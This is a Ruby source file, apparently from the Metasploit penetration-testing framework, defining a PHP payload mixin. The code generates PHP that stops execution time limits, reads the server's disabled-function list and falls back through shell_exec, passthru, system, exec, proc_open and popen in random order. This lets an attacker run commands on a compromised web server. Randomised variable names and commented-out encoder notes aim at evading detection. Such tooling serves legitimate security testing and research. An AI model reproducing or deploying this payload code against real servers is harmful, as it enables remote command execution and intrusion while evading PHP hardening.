147 lines
3.6 KiB
Ruby
147 lines
3.6 KiB
Ruby
require 'msf/core'
|
|
|
|
###
|
|
#
|
|
###
|
|
module Msf::Payload::Php
|
|
|
|
def initialize(info = {})
|
|
super(info)
|
|
end
|
|
|
|
def php_preamble(options = {})
|
|
dis = options[:disabled_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
|
|
dis = '$' + dis if (dis[0,1] != '$')
|
|
|
|
@dis = dis
|
|
|
|
preamble = "
|
|
@set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
|
|
#{dis}=@ini_get('disable_functions');
|
|
if(!empty(#{dis})){
|
|
#{dis}=preg_replace('/[, ]+/', ',', #{dis});
|
|
#{dis}=explode(',', #{dis});
|
|
#{dis}=array_map('trim', #{dis});
|
|
}else{
|
|
#{dis}=array();
|
|
}
|
|
"
|
|
return preamble
|
|
end
|
|
|
|
def php_system_block(options = {})
|
|
cmd = options[:cmd_varname] || '$cmd'
|
|
dis = options[:disabled_varname] || @dis || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
|
|
output = options[:output_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
|
|
|
|
if (@dis.nil?)
|
|
@dis = dis
|
|
end
|
|
|
|
cmd = '$' + cmd if (cmd[0,1] != '$')
|
|
dis = '$' + dis if (dis[0,1] != '$')
|
|
output = '$' + output if (output[0,1] != '$')
|
|
|
|
is_callable = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
|
|
in_array = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
|
|
|
|
setup = "
|
|
#{cmd}=#{cmd}.\" 2>&1\\n\";
|
|
#{is_callable}='is_callable';
|
|
#{in_array}='in_array';
|
|
"
|
|
shell_exec = "
|
|
if(#{is_callable}('shell_exec')and!#{in_array}('shell_exec',#{dis})){
|
|
#{output}=shell_exec(#{cmd});
|
|
}else"
|
|
passthru = "
|
|
if(#{is_callable}('passthru')and!#{in_array}('passthru',#{dis})){
|
|
ob_start();
|
|
passthru(#{cmd});
|
|
#{output}=ob_get_contents();
|
|
ob_end_clean();
|
|
}else"
|
|
system = "
|
|
if(#{is_callable}('system')and!#{in_array}('system',#{dis})){
|
|
ob_start();
|
|
system(#{cmd});
|
|
#{output}=ob_get_contents();
|
|
ob_end_clean();
|
|
}else"
|
|
exec = "
|
|
if(#{is_callable}('exec')and!#{in_array}('exec',#{dis})){
|
|
#{output}=array();
|
|
exec(#{cmd},#{output});
|
|
#{output}=join(chr(10),#{output}).chr(10);
|
|
}else"
|
|
proc_open = "
|
|
if(#{is_callable}('proc_open')and!#{in_array}('proc_open',#{dis})){
|
|
$handle=proc_open(#{cmd},array(array(pipe,r),array(pipe,w),array(pipe,w)),$pipes);
|
|
#{output}=NULL;
|
|
while(!feof($pipes[1])){
|
|
#{output}.=fread($pipes[1],1024);
|
|
}
|
|
@proc_close($handle);
|
|
}else"
|
|
popen = "
|
|
if(#{is_callable}('popen')and!#{in_array}('popen',#{dis})){
|
|
$fp=popen(#{cmd},r);
|
|
#{output}=NULL;
|
|
if(is_resource($fp)){
|
|
while(!feof($fp)){
|
|
#{output}.=fread($fp,1024);
|
|
}
|
|
}
|
|
@pclose($fp);
|
|
}else"
|
|
fail_block = "
|
|
{
|
|
#{output}=0;
|
|
}
|
|
"
|
|
|
|
exec_methods = [passthru, shell_exec, system, exec, proc_open, popen].sort_by { rand }
|
|
buf = setup + exec_methods.join("") + fail_block
|
|
#buf = Rex::Text.compress(buf)
|
|
|
|
###
|
|
# All of this junk should go in an encoder
|
|
#
|
|
# Replace all single-quoted strings with quoteless equivalents, e.g.:
|
|
# echo('asdf');
|
|
# becomes
|
|
# echo($a.$s.$d.$f);
|
|
# and add "$a=chr(97);" et al to the top of the block
|
|
#
|
|
# Once this is complete, it is guaranteed that there are no spaces
|
|
# inside strings. This combined with the fact that there are no
|
|
# function definitions, which require a space between the "function"
|
|
# keyword and the name, means we can completely remove spaces.
|
|
#
|
|
#alpha_used = { 95 }
|
|
#buf.gsub!(/'(.*?)'/) {
|
|
# str_array = []
|
|
# $1.each_byte { |c|
|
|
# if (('a'..'z').include?(c.chr))
|
|
# alpha_used[c] = 1
|
|
# str_array << "$#{c.chr}."
|
|
# else
|
|
# str_array << "chr(#{c})."
|
|
# end
|
|
# }
|
|
# str_array.last.chop!
|
|
# str_array.join("")
|
|
#}
|
|
#if (alpha_used.length > 1)
|
|
# alpha_used.each_key { |k| buf = "$#{k.chr}=chr(#{k});" + buf }
|
|
#end
|
|
#
|
|
#buf.gsub!(/\s*/, '')
|
|
#
|
|
###
|
|
|
|
return buf
|
|
|
|
end
|
|
end
|